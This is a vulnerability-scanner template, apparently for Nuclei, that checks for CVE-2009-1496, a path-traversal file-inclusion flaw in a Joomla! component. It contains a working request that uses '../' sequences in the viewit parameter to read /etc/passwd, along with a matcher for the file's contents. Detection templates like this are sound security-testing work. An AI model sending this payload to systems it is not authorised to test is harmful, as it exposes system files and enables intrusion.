id: CVE-2009-1496

info:
  name: Joomla! Cmimarketplace 0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: |
    Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8367
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1496
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-1496
    cwe-id: CWE-22
    epss-score: 0.01473
    epss-percentile: 0.80096
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220242eeadcb296f78767b73c6c4f527ed1dd6ea66c0d0124033291b9ced845c12002204b295c3c0bf4f3b3cbe2b5b07ee16eb60fbbf65ef31978a52248f2499a7ac32d:922c64590222798bb761d5b6d8e72950